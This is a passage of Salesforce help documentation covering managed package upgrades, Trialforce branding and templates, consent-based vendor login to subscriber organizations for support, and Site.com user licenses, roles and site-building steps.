2. Click Accept to complete the registration process. Alternatively, click Reject to decline the request and close the browser;
this prevents you from using the link again.
Note: If you accept this request, you authorize Salesforce to automatically create records in your Salesforce
organization to track information about this package. Choosing a license manager organization is permanent and
cannot be changed.
3. Enter the username and password for the Salesforce organization you want to use to manage licenses for this package. A
license manager can be any Salesforce organization that has installed the free License Management Application (LMA)
from Force.com AppExchange.

2248

Installed Packages

Upgrading Packages

4. Click Confirm.

See Also:
Managing Packages
Managing Licenses for Installed Packages

Upgrading Packages
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To upload packages:

Upload AppExchange Packages

To install and uninstall packages:

Download AppExchange Packages

Salesforce supports upgrades for managed packages only. Publishers can publish an upgrade for a managed package and notify
installers that the new version is available. Installers of a managed package can then install the upgrade as follows:
1. Before you install an upgrade, determine if the app you installed was from a managed package. Look for the
- Installed icon on the detail pages for each component and on the list of packages installed.

Managed

If the app you installed is not from a managed package, upgrades for it are not available.
2. Then, install the upgrade in the same way you would install any other package from Force.com AppExchange directory.
If the publisher provided a link to the new version, follow the link to the package posting and install it in your organization.
The first page of the install wizard lists the current version you have installed, the version you are about to install, and a
list of additional components included in the new version.

Notes on Upgrading Managed Packages


Consider the following when upgrading a managed package:

All existing custom objects that were previously deployed will still be deployed. Salesforce prompts you to deploy any new
custom objects or previously undeployed custom objects.
Profile settings are editable but not upgradeable. After upgrading, update the profile settings for any custom objects included
in the package. The developer can make changes to profile settings after releasing them, but those changes will not be
included in an upgrade. However, changes made to permission sets are included in the upgrade for any permission sets
that were included in the package.
If the developer chooses to add universally required custom fields, the fields will have default values.
Translation Workbench values for components that are editable but not upgradeable are excluded from upgrades. For
more information, see the Force.com Quick Reference for Developing Packages.
If an installed package has Restricted API access, upgrades will be successful only if the upgraded version does not
contain any s-controls. If s-controls are present in the upgraded version, you must change the currently installed package
to Unrestricted API access.
When you upgrade a package, changes to the API access are ignored even if the developer specified them. This ensures
that the administrator installing the upgrade has full control. Installers should carefully examine the changes in package

2249

Installed Packages

Why Use Trialforce?

access in each upgrade during installation and note all acceptable changes. Then, because those changes are ignored, the
administrator should manually apply any acceptable changes after installing an upgrade.

See Also:
Installing a Package
Uninstalling a Package
Managing Package Installations
Managing Licenses for Installed Packages

Why Use Trialforce?


The AppExchange makes it easy to showcase what you have built and market to existing Salesforce CRM customers. But
what if you want to market and distribute to customers who dont have Salesforce CRM? As Force.com has matured over the
years, ISVs have created a large and growing number of non-CRM apps. These are apps that do not extend Salesforce CRM
and have no need to leverage Salesforce standard objects like Leads, Opportunities, Cases and the like. ISVs that have developed
these non-CRM apps can market to any customers, ultimately increasing their market reach. For apps like these, a new
distribution model was needed.

About Trialforce Branding


Available in: Developer Edition

User Permissions Needed


To manage Trialforce branding:

Customize Application

App developers using Trialforce to create new trials of their product can optionally set up a branded login site and system
emails. By branding these areas with your company's look and feel, users of your application will be immersed in your brand
from sign-up to login.
A branded login page enables you to specify your login domain and login site.

Login domains end with .cloudforce.com, so that if your company name is mycompany, then your login domain
will be mycompany.cloudforce.com.
Your custom login site includes your text and company logo, and mobile-friendly versions of your login site as well.

Branded emails allow you to specify fields in system-generated emails so that your company name, address, and other pertinent
details are used in email correspondence. You can create multiple branded email sets for different campaigns, customer bases,
etc.
Note: To configure branding, you must be logged into a Trialforce Management Organization (TMO). To get your
TMO, log a case in the Salesforce Partner Portal.

2250

Installed Packages

Why Use Trialforce?

Trialforce Branded Login Site


Available in: Developer Edition

User Permissions Needed


To define package branding:

Package Branding

Use the Trialforce Branded Login Site page to create, publish, and edit a login page that has your company's look and feel.
If you haven't set up a login site yet, click Set Up Login Site.
If you've already set up a login site, click Publish to make the site available, or Launch Site Editor to make changes.

Trialforce Login Site Domain


Choose a subdomain where customers will log into your application. Usually the subdomain is the name of your company.
1.
2.
3.
4.

In the field provided, enter a name.


Click Check Availability.
Accept the terms of use.
Click Save and Launch Editor.

Creating a Branded Login Page


Available in: Developer Edition

User Permissions Needed


To manage Trialforce branding:

Customize Application

To create a branded login page:


1. Click Your Name > Setup > Trialforce > Branding > Login Site.
2. Click Set Up Login Site.
3. Select a subdomain for your login site by providing a name in the field provided. Usually this is the name of your company.
Note: Login domains end with .cloudforce.com, so that if your company name is mycompany, then your
login domain will be mycompany.cloudforce.com.
4. Check the availability of the domain and then accept the terms of use.
5. Click Save and Launch Editor.
6. Use the Login Brand Editor to change how your login page looks. For additional help using the editor, click Help for this
Page.
7. Click Save and Close.

2251

Installed Packages

Why Use Trialforce?

8. If you're ready to make these changes available to your Trialforce source organizations, click Publish. Otherwise your
changes are saved and you can publish later.

Trialforce Login Branding Editor


Available in: Developer Edition

User Permissions Needed


To manage Trialforce branding:

Customize Application

Use the Branded Login Site Editor to design your login pages.
1. At the top of the editor, click the tab for the login page size: Desktop or Mobile.
2. In the left pane, expand the Page Header node and click Select File to choose your company logo for each size screen your
app supports.
3. In the Logo Link > Use custom link field, optionally, enter a web address to be used when a customer clicks your logo,
such as your corporate website. The URL must start with http:// or https://. If you leave this field blank, your logo
will not have a link.
4. Expand Page Content node and paste in the trial sign-up link URL from your Trialforce Templates page into the Trial
Sign-Up Link > Use custom link field.
5. Provide URLs for the right and bottom of the page. If you leave these fields blank, the frames default to the ones used on
the Salesforce login page.
6. Expand the page footer and provide your company name and font color.
7. Expand the page background node and provide a background image and color.
8. At the top of the page click Save and Close.
9. On the Branded Login Site page, click Preview for the size of the page you want to see. Make sure your login page appears
correct for each login page your app supports.

Trialforce Branded Email Sets


Available in: Developer Edition

User Permissions Needed


To define package branding:

Package Branding

Trialforce Email Branding allows you to modify system-generated emails so that they appear to come from your company
rather than from Salesforce.com. Trialforce Email Branding only applies to users who sign up for your application through
Trialforce.
Each Trialforce source organization comes with a standard set of email notifications that are sent to customers. For example,
customers get an email notification when they first sign up, or when they reset their password. You don't have to rewrite all
of these system-generated emails yourself. Just provide the values for the fields and the system takes care of the rest.

2252

Installed Packages

Why Use Trialforce?

Edit Trialforce Branded Email Set


To begin, click New Email Set or Edit next to an existing email set.
1.
2.
3.
4.

Fill in the fields with your company info.


In the Preview Emails area, click through the different types of generated emails and make sure they read correctly.
Click Save.
If you're ready to make these emails available to your Trialforce source organizations, click Publish. Otherwise your changes
are saved and you can publish later.

Trialforce Source Organizations


Available in: Developer Edition

The Trialforce Source Organizations page helps you create and manage your Trialforce source organizations.

To create a new source organization, click New .


If you have an existing source organization you want to use, click Login.
To edit an existing source organization, click Edit.

New Trialforce Source Organization


Available in: Developer Edition

User Permissions Needed


To define package branding:

Package Branding

To create a new source organization:


1. Enter a new username and email address for the administrator account.
2. Enter the source organization name and select the branding.
3. Click Create.

2253

Installed Packages

Why Use Trialforce?

Edit Trialforce Source Organization


Available in: Developer Edition

User Permissions Needed


To define package branding:

Package Branding

To edit a Trialforce source organization:


1. Enter the source organization name and select the branding.
2. Click Save.

Trialforce
Available in: Developer Edition

User Permissions Needed


To define package branding:

Package Branding

To create a Trialforce template:


1. Click New Trialforce Template.
2. Specify a description of the template and whether to include data in the dialog that appears.
3. Click Save.
You will receive an email with the organization ID of the new template. You can use the ID to sign up trial organizations.
Note: You can only create a Trialforce template if the Trialforce source organization is less than 256 MB in size.

Each Trialforce template has a status with one of the following values.
In Progress
When a Trialforce template is first created, it always has this status. It then automatically moves to either Success or
Error status.
Success
The Trialforce template can be used to create new trial organizations.
Error
The Trialforce template cannot be used as something has gone wrong and additional debugging is required.

2254

Installed Packages

Supporting Your Subscribers

Deleted
The Trialforce template is no longer available for use. Deleted templates are automatically removed during system
updates.

Supporting Your Subscribers


App publishers are responsible for end user support of all their listings. When customers contact salesforce.com Customer
Support with a question about your listing, we direct the user to the support information on the About and Support tabs of
your listing. Make sure your AppExchange listings include support information.
If you have installed the License Management App (LMA), you can log into a customer's organization and provide administrative
support for your customers. This feature is only available for managed packages that are Aloha enabled. For more information,
see Logging in to Subscriber Organizations.

Subscriber Organizations
User Permissions Needed
To log in to subscriber organizations:

Log in to Subscriber Organization

This page shows a list of subscriber organizations with your package installed. To find a subscriber organization quickly, enter
a subscriber name or organization ID in the search box and click Search. Click the name of a subscriber organization to view
detailed information about it.
Note: Only subscribers who have installed at least one managed package that is Aloha enabled and linked to your
LMA will appear in this list. If none of your packages are Aloha enabled, then no subscribers will be listed.

Viewing Subscriber Details


User Permissions Needed
To log in to subscriber organizations:

Log in to Subscriber Organization

The Subscriber Overview page, accessed by clicking the organizations name from the Subscribers tab of the LMA, provides
detailed information about each subscriber organization. This can give you insight into how a customer is using your app and
help you in troubleshooting problems.
Under Organization Details:

The name and contact information is from the Setup > Company Profile > Company Information page in the subscribers
organization. This may differ from the information shown in your LMA lead, account, or contact records.
Organization ID is a unique ID that identifies this customers Salesforce organization.

2255

Installed Packages

Supporting Your Subscribers

Instance determines which salesforce.com data center this customers organization resides in. It also determines when the
customer will get upgraded with a new version of Salesforce. See trust.salesforce.com during the release period to understand
which version of Salesforce the customer is using.

The page also includes these related lists.

Best Practices

When you access a subscriber organization, you are logged out of your LMO (License Management Organization). You
can set up a my domain so that you are not automatically logged out of your LMO when you log into a subscriber
organization. To set up a my domain, click Your Name > Setup > Company Profile > My Domain.
Be careful to allow only trusted support and engineering personnel to log into a subscribers organization. Since this feature
may include full read/write access to customer data and configurations, its vital to your reputation to preserve their security.
Control who has access by giving the Log in to Subscriber Organization user permission to specific support personnel,
via a profile or permission set.

Requesting Login Access


Ask the user to click Setup > My Personal Information > Grant Login Access to grant access. If the publisher isnt listed on
this page, its for one of the following reasons:

A system administrator disabled the ability for non-administrators to grant access.


The user doesnt have a license for the package.
The package isnt Aloha enabled.
The package is licensed to the entire organization. Only administrators with the Manage Users permission enabled on
their profile can grant access.
The organization preference Administrators Can Log in as Any User is enabled. See Controlling Login Access on page
554.
Note: Unless the organization preference Administrators Can Log in as Any User is enabled, access is granted for a
limited amount of time, and the subscriber can revoke access at any time. Any changes you make while logged in as a
subscriber are logged in the audit trail.

Logging in to Subscriber Organizations


User Permissions Needed
To log in to subscriber organizations:

Log in to Subscriber Organization

To log in, once a user has granted you access:


1. In the License Management App (LMA), click the Subscribers tab.
2. To find a subscriber organization quickly, enter a subscriber name or organization ID in the search box and click Search.

2256

Installed Packages

Supporting Your Subscribers

3. Click the name of the subscriber organization.


4. On the Organization Details page, click Login next to a user's name. Note that you have the same permissions as the user
you logged in as.
5. When youre finished troubleshooting, click Your Name > Return to Subscriber Overview to return to your organization.
Note: Only subscribers who have installed at least one managed package that is Aloha enabled and linked to your
LMA will appear in this list. If none of your packages are Aloha enabled, then no subscribers will be listed.

Best Practices

When you access a subscriber organization, you are logged out of your LMO (License Management Organization). You
can set up a my domain so that you are not automatically logged out of your LMO when you log into a subscriber
organization. To set up a my domain, click Your Name > Setup > Company Profile > My Domain.
Be careful to allow only trusted support and engineering personnel to log into a subscribers organization. Since this feature
may include full read/write access to customer data and configurations, its vital to your reputation to preserve their security.
Control who has access by giving the Log in to Subscriber Organization user permission to specific support personnel,
via a profile or permission set.

Troubleshooting in Subscriber Organizations


When logged in as a user in a subscribers organization, you can generate Apex debug logs that contain the output from your
managed packages. This includes logging that would normally not be exposed to the subscriber. Using this log information,
you can troubleshoot issues that are specific to that subscriber organization.
1. Launch the Developer Console from Your Name > Developer Console.
2. Perform the operation and view the debug log with your output. If the user has access, setup up a Debug Log from Setup
> Monitoring > Debug Log.
Note that subscribers will be unable to see the logs you set up or generate since they contain your Apex code unobfuscated.
In addition, you can also view and edit data contained in protected custom settings from your managed packages when logged
in as a user.

2257

BUILDING SITES

Site.com Overview
Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

Site.com is a Web content management system (CMS) that makes it easy to build dynamic, data-driven Web pages quickly,
edit content in real time, and manage your websites. From the Site.com tab in the Site.com app, you can launch Site.com
Studio, which provides a separate, dedicated environment for creating and editing pixel-perfect, custom websites. Publishers
and designers can create and style Web pages, and add features such as navigation menus, images, and text areas using
drag-and-drop page elements, while ensuring the site's pages match the look and feel of the company's brand. And content
contributors, such as marketing users, can browse and update website content directly in a simplified Site.com Studio
environment. Additionally, websites built with Site.com benefit from running on salesforce.com's trusted global infrastructure.
Note: The features available in Site.com Studio vary depending on whether you're a publisher, designer, or contributor.

The following examples illustrate a few ways to use Site.com:

Create an event siteAdvertise upcoming events, such as grand openings, launches, or sales kick-offs on a public event
site.
Promote new productsLaunch new products into the market with a promotional website that helps drive sales.
Publish a support FAQProvide helpful information on a public website where customers can view solutions to their
issues.
Create microsites and landing pagesCreate temporary landing pages or targeted microsites for marketing campaigns.
Create a recruiting websitePost job openings to a public site and allow visitors to submit applications and resumes.
Publish a catalog of productsList all of your company's products on a public website, with model numbers and current
prices pulled dynamically from your organization.
Post company press releasesPublish your companys press releases and sort by publication date.

System Requirements
To use Site.com Studio, we recommend:

Mozilla Firefox or Google Chrome for best performance. Windows Internet Explorer versions 6.0 and 7.0 are not
supported.
Disabling the Firebug extension for Firefox, if installed, as it can impact performance.

2258

Setting Up Users

Setting Up Site.com Users

A minimum browser resolution of 1024x768.

See Also:
Setting Up Site.com Users
Supported Browsers
Planning and Implementing a Site.com Website
Site.com Data Services Overview
Using Site.com Studio as a Publisher or Designer
Using Site.com Studio as a Contributor

SETTING UP USERS
Setting Up Site.com Users
Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To create or edit users:

Manage Users

: All users trying to create or modify websites in Site.com Studio need the View Setup and Configuration permission enabled
on their profile.
Before users can access Site.com, you must allocate a Site.com feature license, and add them to individual sites using Site.com
Studio. Check the feature table for information on the feature license, permissions, and role required for each user.
After you determine the appropriate access level, follow these steps to set up a Site.com user:
1. Allocate a feature license to the user by editing the user's profile. To allocate Site.com Publisher feature licenses to users
in your organization, select the Site.com Publisher User checkbox. Alternatively, for contributors, select the
Site.com Contributor User checkbox. Once you allocate a feature license, users can access the Site.com app in the
Force.com app menu in the Salesforce header.
Note: If the checkboxes don't appear, verify that Site.com is enabled for your organization. Organizations using
Unlimited or Enterprise Editions must purchase Site.com Publisher and Site.com Contributor feature licenses
separately. For information on purchasing Site.com feature licenses, contact salesforce.com. Developer Edition
organizations contain two Site.com Publisher feature licenses and one Site.com Contributor feature license.
2. Assign additional permissions if the user needs to perform administrative tasks such as setting up users or assigning roles.
3. Add users and assign user roles within a site.

2259

Setting Up Users

About Site.com User Permissions

The feature license, permissions, and user role all determine what a user can do in each site. For example, to create an
administrative user who can manage all sites in your organization, you would assign a Publisher license, enable the Manage
Users permission, and assign the role of Publisher at the site level. We recommend that you have at least one user with all
these assigned attributes.
For users who only need limited access to content and no administrative access, you would assign a Contributor license and
a Contributor role at the site level.
Alternatively, to create a user who can manage roles in a site, but without the ability to publish, you would assign a Publisher
license, the Manage Users permission, and the Designer role at the site level.

See Also:
About Site.com Feature Licenses
About Site.com User Permissions
About Site.com User Roles
Managing Site.com Users and Roles
Planning and Implementing a Site.com Website
About Publisher, Designer, and Contributor Features

About Site.com User Permissions


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

Users who need to perform administrative tasks on sites must have an additional permission on their Salesforce user profile.
Assign the Manage Users permission to a user to enable them to perform the tasks. Salesforce.com recommends that you
have at least one user per organization with both a Publisher license and the Manage Users permission.
See the Site.com feature table on page 2264 for the capabilities that come with this permission.
Caution:
The Manage Users permission is powerful. It allows a user this control for your entire organization and not just
Site.com. For more information, see User Permissions on page 567.

See Also:
Setting Up Site.com Users
About Site.com Feature Licenses
About Site.com User Roles
Managing Site.com Users and Roles
Planning and Implementing a Site.com Website
About Publisher, Designer, and Contributor Features

2260

Setting Up Users

About Site.com Feature Licenses

About Site.com Feature Licenses


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

Every Site.com user must have a feature license to access Site.com Studio.
The two types of feature licenses are Site.com Publisher and Site.com Contributor, which each have a fixed set of permissions.

Site.com Publisher allows the user to access Site.com Studio to build and style websites, control the layout and functionality
of pages and page elements, and add and edit content.
Site.com Contributor allows the user to access Site.com Studio to edit site content only.

Consider what users need to do in a site and purchase licenses accordingly. See the Site.com feature table for a complete list
of the capabilities that come with each feature license. After you purchase feature licenses, you can set up Site.com users on
page 2259.
You can view the number of assigned feature licenses on your organization's profile.
Note: Organizations using Unlimited or Enterprise Editions must purchase Site.com Publisher and Site.com
Contributor feature licenses separately. For information on purchasing Site.com feature licenses, contact salesforce.com.
Developer Edition organizations contain two Site.com Publisher feature licenses and one Site.com Contributor feature
license.

See Also:
Setting Up Site.com Users
About Site.com User Permissions
About Site.com User Roles
Managing Site.com Users and Roles
Planning and Implementing a Site.com Website
About Publisher, Designer, and Contributor Features

About Site.com User Roles


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

Once you create a site, you need to add users and assign them a role.
Every user must have a role assigned at the site level. Using roles, you can modify permissions for individual sites. Users can
only have one role per site, but their roles can vary between sites. For example, a person can be a publisher on one site and be

2261

Setting Up Users

Managing Site.com Users and Roles

a contributor on another. To manage roles for a site, you must have a Publisher license plus the Manage Users permission.
There are three user roles.

PublisherPublishers are users who can manage all content. They can create sites, templates, style sheets, pages, and add
data functions. If they have the Manage Users permission, they can also assign roles, set up domains, and publish sites.
This role requires the Publisher license.
DesignerDesigners are similar to publishers in that they have lots of control over content, but they cant manage domains
or publish sites. If they have the Manage Users permission, they can also assign roles. This role requires the Publisher
license.
ContributorContributors have the most restricted access to content. They typically are restricted to editing content
blocks. Even if contributors have the Manage Users permission, they cant manage roles at the site level. This role requires
the Contributor license.

See the Site.com feature requirements table on page 2264 for the capabilities of each user role. For information on how to add
users and assign roles, see Managing Site.com Users and Roles on page 2262.

See Also:
Setting Up Site.com Users
About Site.com Feature Licenses
About Site.com User Permissions
Managing Site.com Users and Roles
Planning and Implementing a Site.com Website
About Publisher, Designer, and Contributor Features

Managing Site.com Users and Roles


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To manage users:

Publisher license, the Manage Users permission, and the


Publisher role assigned at the site level.

Once you create a site, you need to add users and assign them roles. If you havent already assigned user licenses, you wont
be able to add users or assign roles for a site. When assigning roles, be sure to add one thats compatible with a users Site.com
license. When users log into Site.com, their license is checked against the role assigned to them at the site level. If the license
doesnt allow the permissions associated with the role, then the user is given the permissions associated with the license. For
example, if a user has a Contributor license, but is assigned a role of a publisher, they will only have Contributor permissions
regardless of the assigned role. For more information about the different roles, see About Site.com User Roles on page 2261.
To add users and assign roles:
1. On the Overview tab in Site.com Studio, click Site Configuration > Manage User Roles.
2. Click Add Users.

2262

Setting Up Users

3.
4.
5.
6.

About Publisher, Designer, and Contributor Features

In the Available Users section, highlight the user you want to add.
Select the role from the Add as drop-down list.
Click the arrow to move the user to the Selected Users section.
Click Save.
Note: Users only show up in the Available Users section if they have already been assigned a valid Site.com user license
in their user profile. Be sure to assign a role that matches the users assigned license.

To delete users:
1. Select the user.
2. Click
> Remove.
3. Click OK.
To change a users role:
1. Hover over the users role.
2. Click the arrow to display all the roles.
3. Select the new role.
To delete or change the role of a group of users at the same time, use Bulk Actions.
1.
2.
3.
4.

Select the check box beside each users name.


Click Bulk Actions.
Select the action.
Click Apply.
Note: When updating the roles of several users at once, you can only assign the same role to all selected users.

See Also:
Setting Up Site.com Users
About Site.com Feature Licenses
About Site.com User Roles
Planning and Implementing a Site.com Website
About Publisher, Designer, and Contributor Features

About Publisher, Designer, and Contributor Features


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

The features available in Site.com Studio vary for publishers, designers, and contributors. Publishers have full access to Site.com
Studio. Publishers can build and style websites, control the layout and functionality of pages and page elements, and add and

2263

Setting Up Users

About Publisher, Designer, and Contributor Features

edit content. Designers have the same access as publishers except they cant manage domains or publish a site. Contributors
can use Site.com Studio to edit site content only.
This table lists the required feature licenses, permissions, and roles for many of the Site.com Studio features.
Site.com Studio Feature Requirements
Feature

License (Publisher or
Contributor)

Assign feature license to user profile


Add users and roles at the site level

Permissions
Site.com Studio User Role
(Manage User or (Publisher, Designer,
Customize
Contributor)
Application)
Manage Users

Publisher

Manage Users

Publisher or Designer

Enable contributors to add pages and edit Publisher


content blocks and graphics

Publisher or Designer

Create websites

Publisher

(Users who create a site are


automatically added to that site as
a Publisher)

Delete websites

Publisher

Publisher or Designer

Import websites

Publisher

(Users who import a site are


automatically added to the new
site as a Publisher)

Export websites

Publisher

Publisher or Designer

Duplicate websites

Publisher

Publisher or Designer

Manage Domains

Publisher

Publisher

Publisher

Publisher

Create page templates

Publisher

Publisher or Designer

Create website pages

Publisher or
Contributor

Publisher or Designer

Create and modify style sheets

Publisher

Publisher or Designer

Modify layout and design, and add page


elements

Publisher

Publisher or Designer

Add repeaters and other data services page Publisher


elements

Publisher or Designer

(Unavailable for Developer Editions)


Publish changes to the live website
(Unavailable for Developer Editions)

Contributor only if enabled by the


Publisher or Designer in the page
templates Properties pane

2264

Setting Up Users

About Publisher, Designer, and Contributor Features

Site.com Studio Feature Requirements


Feature

License (Publisher or
Contributor)

Modify the Guest User profile to set access Publisher


permissions to Salesforce objects for data
services

Permissions
Site.com Studio User Role
(Manage User or (Publisher, Designer,
Customize
Contributor)
Application)
Manage Users and Publisher or Designer
Customize
Application

Import assets, such as images

Publisher or
Contributor

Any assigned role

Edit content and images

Publisher or
Contributor

Publisher or Designer

Publisher or
Contributor

Any assigned role

Preview website pages

Contributor only if enabled by the


Publisher or Designer in the page
templates Properties pane

2265

Getting Started with Siteforce

Planning and Implementing a Site.com Website

GETTING STARTED WITH SITEFORCE


Planning and Implementing a Site.com Website
Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To create or import Site.com sites:

Site.com Publisher User field enabled on the user detail

page
To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level
To edit only content in Site.com sites:

Site.com Contributor User field enabled on the user

detail page
AND
Contributor role assigned at the site level

There are many approaches to building a website. The process that best suits you depends on many factors, such as the size
of your team and the tasks you're responsible for.
If you're a publisher or designer, you may be involved in every stage, including adding and maintaining the site's content.
Alternatively, you may have contributors who add, edit, and maintain this content. And if you're a contributor, you may be
responsible for editing and updating all of the site's content, or you may work with other contributors, designers, and publishers
to bring the site to completion.
This topic describes the various stages involved in creating a site with Site.com.

Plan the Site Design and Page Layout (Publisher or Designer)Before building the pages of the site, spend time planning
the site design and basic layout. This stage is key to ensuring a consistent look and feel with the minimum amount of
effort. From a hierarchical point of view, think about how many pages you need and whether they'll have subpages. Also
consider how you want site visitors to navigate around your site.
Next, plan the layout of the pages and identify the common elements that every page will have. In this example, the site
has a header section that includes the company's logo and menu (1), and a footer section (2). However, the main section
of the home page (3) differs from the rest of the site pages (4). Take note of these similarities and differences, because they
will affect how you create your site pages.

2266

Getting Started with Siteforce

Planning and Implementing a Site.com Website

Create the Site (Publisher or Designer)Once you've completed the planning stage, you're ready to get started! Log into
the Site.com app and go to the Site.com tab, where you can create your first site. Your new blank site opens in Site.com
Studio, a powerful environment for building the pages of your site.
Note: Only users with the Site.com Publisher User field enabled on their user detail page can create and
import sites.

Import Assets (Publisher or Designer)If you're working with a design agency, they may provide all of the files and assets
you need, including a CSS style sheet. If you've created your own design, cut up the design and collect the assets, images,
and files you plan to use in the site. Import the assets into Site.com Studio, where they appear in the Assets section of the
Overview tab.
Create a Page Template (Publisher or Designer)Once you've decided on the layout, the quickest and most effective
method is to use page templates to build the basic layout and then base your site pages on it. Try to keep the design of
your main page template simple to make it easier to modify in the future. For more complicated site designs, such as the
example graphic, you can use the main page template as the basis for a nested template to achieve maximum flexibility.
When you create your page template, you can choose from predesigned layouts that include headers, footers, and columns,
or you can create a blank page template.
Lay Out the Page (Publisher or Designer)After you create the page template, you can modify the layout further to match
the design of your site.
Create the Site Pages (Publisher or Designer)Using the template as a base, you can quickly create the site pages, which
automatically inherit all the elements of the page template. Or if you need a standalone page that doesn't follow the site's
overall design, you can create a blank page instead.
Add Features and Page Elements (Publisher or Designer)Use Site.com's prebuilt page elements to add features such
as navigation menus, images, and data services, and include content blocks that contributors can edit. And add interactive,
animated effects using events and actions.
Make Your Website Look Good (Publisher or Designer)Take advantage of cascading style sheets (CSS) to develop the
look and feel of your website. If you're not completely up to speed with CSS, the Style pane provides an easy, visual way
to create and manage styles. Or if you're a CSS expert who likes to get straight into the code, you can hand-code the site's
style sheets.
Add and Edit Content (Contributor)At this stage, if you're a contributor, the site is usually ready for you to add and
edit content such as text, images, videos, and hyperlinks. And as you work, you can upload any images or files you need.
Review and Test the Site (Contributor, Publisher, or Designer)Testing the changes to the pages of your site happens
throughout the development cycle. As a contributor, publisher, or designer, you should always preview your changes to
ensure they display as expected in a browser. And if you're a publisher or designer, you can send a preview link to the site's
reviewers so they can review the finished product before it goes live.

2267

Getting Started with Siteforce

Site.com Tab Overview

Publish the Site (Publisher Only)After testing is complete, you're ready to go live with your new site. Just set the site's
domain information and then publish your changes to make your site live!

See Also:
Site.com Overview
Using Site.com Studio as a Publisher or Designer
Using Site.com Studio as a Contributor

Site.com Tab Overview


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To create or import Site.com sites:

Site.com Publisher User field enabled on the user detail

page
To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level
To edit only content in Site.com sites:

Site.com Contributor User field enabled on the user

detail page
AND
Contributor role assigned at the site level

If you can't see the Site.com tab, go to the Site.com app. It's available in the Force.com app menu in the Salesforce header.
Then click the Site.com tab to view the list of your Site.com sites. From this page you can:

Click New to create or import a site.


Only users with the Site.com Publisher User field enabled on their user detail page can create and import sites.

Filter the sites you see by selecting a predefined list from the drop-down list. My Sites shows the sites you can access and
your role. All Sites shows all the sites in your organization even if you dont have access to some of them.
Click Edit next to a site to open it in Site.com Studio.
Click Preview next to a site to see how it looks when rendered in a browser window.
Click next to a site to duplicate, export, or delete it. Only users with the Site.com Publisher User field enabled
on their user detail page and the role of Publisher or Designer can duplicate, export, and delete sites.

2268

Getting Started with Siteforce

Using Site.com Studio as a Publisher or Designer

Note: After you publish a site, you can't delete it, but you can take it offline.

See Also:
Site.com Overview
Planning and Implementing a Site.com Website
Using Site.com Studio as a Publisher or Designer
Using Site.com Studio as a Contributor

Using Site.com Studio as a Publisher or Designer


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage sites Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level
To manage domains and publish Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher role assigned at the site level

Watch a Demo on Building a Website with Site.com (3:12 minutes)


Site.com Studio provides a dedicated site-building environment for publishers. Using the many features available, you can:

Create page templates to base your site pages on.


Create site pages.
Import assets, such as images and files.
Edit the sites style sheet or create new style sheets.
View and edit a page or template.
Add page elements to your site pages to provide features and functionality.
Use data services to connect to Salesforce objects to retrieve and display, or to submit data.
Create events to add interactive and animated effects to your website.
Add URL redirects to inform users and search engines if site content has moved

2269

Getting Started with Siteforce

Using Site.com Studio as a Contributor

Create folders to organize your site content.


Preview your site or generate an anonymous preview link to send to other users.
Manage the domain information for your site.
Publish your recent changes to the live site.
Note: Designers cant manage domains or publish content.

Duplicate, import, and export sites.

See Also:
Understanding the Publisher and Designer's Overview Tab
Site.com Overview
Planning and Implementing a Site.com Website
Site.com Tab Overview

Using Site.com Studio as a Contributor


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To edit only content in Site.com sites:

Site.com Contributor User field enabled on the user

detail page
AND
Contributor role assigned at the site level

Watch a Demo on Editing and Managing Content with Site.com (2:53 minutes)
Site.com Studio provides a dedicated content-editing environment for contributors, where you can:

Open a page to edit it.


Create site pages, if your publisher has enabled page creation.
Edit the page text.
Add images and videos to pages.
Create hyperlinks and anchors.
Import assets, such as images and files.

2270

Getting Started with Siteforce

Understanding the Publisher and Designer's Overview Tab

Preview the site in a browser window.

See Also:
Understanding the Contributors's Overview Tab
Site.com Overview
Planning and Implementing a Site.com Website
Site.com Tab Overview

Understanding the Publisher and Designer's Overview Tab


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level
To manage domains and publish Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher role assigned at the site level
To manage user roles:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher role assigned at the site level
AND
Manage Users

As a publisher or designer, when you open a site in Site.com Studio, it opens on the Overview tab. Here you can access and
manage the sites components and configure the sites properties.

2271

Getting Started with Siteforce

Understanding the Publisher and Designer's Overview Tab

Select a view (1) on the Overview tab to view its contents (2).
All Site ContentCreate folders to organize your site content. In this view, you can also create pages, templates, and
style sheets, and import assets.
Site PagesCreate site pages, open and edit pages, access page options, and organize the site map. You can also switch

between the default site map view ( ) and the list view ( ).
Page TemplatesCreate page templates to base your site pages on, open and edit existing templates, and access template
options.
Style SheetsEdit the sites style sheet or create new style sheets.
AssetsImport and manage assets, such as images and files.
Trash CanRetrieve deleted items. When you delete a page, template, stylesheet, or asset, it goes into the trash can.
Deleted items remain in the trash can indefinitely. Retrieved items are restored to their original location. If the original
location no longer exists, they are restored to the top-level root directory.
Recent ChangesView information about the most recently modified files.
Publish HistoryView information about the published files.
Site ConfigurationConfigure site properties such as the site name, create URL redirects, manage domain information,
and manage user roles.

Use the toolbar (3) to:


Import assets, such as images and files.
Publish recent changes.
